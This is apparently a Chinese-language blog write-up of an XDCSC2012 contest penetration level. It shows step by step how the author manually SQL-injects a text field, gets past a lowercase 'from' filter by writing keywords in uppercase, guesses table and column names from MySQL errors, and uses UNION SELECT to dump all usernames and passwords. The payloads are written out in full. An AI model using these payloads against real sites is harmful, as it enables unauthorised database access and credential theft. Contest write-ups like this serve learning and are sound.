2012西電網絡攻防大賽(XDCSC2012)網絡滲透0x009通關方案

比賽地址:https://csc.xdsec.org。感興趣的朋友可以看下。。。

邊學邊試弄了一個晚上,終於過了這關。以前沒有學過PHP+MYSQL的注入,ASP也只會用啊D一類工具,今天算是手工注入了一次。

界面只有一個文本輸入框。推測應該是字符型的注入點。

先提交一個單引號試試,沒有任何回顯,也沒有報錯,推測把單引號當做一個字符執行了。。。

提交1',奇蹟出現了。。。


推測SQL應該是這樣寫的

select firstname,surname from XXX where id='xxx'

但是爲毛會出現這個。。。我也搞不懂。。。求大神指教。。。

不管他,繼續提交

admin' and exists (select * from admin) and '1'='1
完整的SQL語句應該是

select firstname,surname from XXX where id='admin' and exists (select * from admin) and '1'='1'

看起來一點問題沒有。。。但是,出錯了。。。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*   admin) and '1'='1'' at line 1
開始想了半天沒想明白爲什麼出錯了。。。後來仔細看了下錯誤信息
near '*   admin) and '1'='1''
突然發現*和admin中間的from不見了。。。。被過濾了!!

於是改成大寫試試。

admin' AND EXISTS (SELECT * FROM admin) and '1'='1
再次提交。這次沒有被過濾,返回信息

Table 'goal.admin' doesn't exist
百度之,發現是不存在表admin。

然後又試了幾個常見表名,試到users的時候不返回錯誤了。

然後猜字段。提交

admin' AND EXISTS (SELECT admin FROM users) and '1'='1
返回

Unknown column 'admin' in 'field list'
再次百度之,字段admin不存在。

繼續試字段。最後字段user,password存在。

然後提交

admin' AND 1=2 UNION SELECT password FROM users WHERE user='admin' and '1'='1
這兒我想直接拿到password的值,結果返回

The used SELECT statements have a different number of columns
百度之,發現要猜字段數量。關於這個,這兒有詳細的說明:http://www.myhack58.com/Article/html/3/7/2011/29898.htm

於是提交

admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE user='admin' and '1'='1
顯示了這個



這時候把1替換爲password,提交

admin' AND 1=2 UNION SELECT password,2 FROM users WHERE user='admin' and '1'='1
返回的結果


這樣就拿到了password字段的值了。。。



其實剛纔猜出列名之後就應該先猜字段數量的。我覺得正確的步驟應該是

提交

admin' AND 1=2 UNION SELECT 1 FROM users WHERE '1'='1
返回

The used SELECT statements have a different number of columns
說明字段數量不對,於是繼續猜,提交

admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE '1'='1
這時候出現了


說明字段數量對了

然後將1,2替換爲user,password,提交

admin' AND 1=2 UNION SELECT user,password FROM users WHERE '1'='1
出現了這個


所有的user,password值都顯示出來了。。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章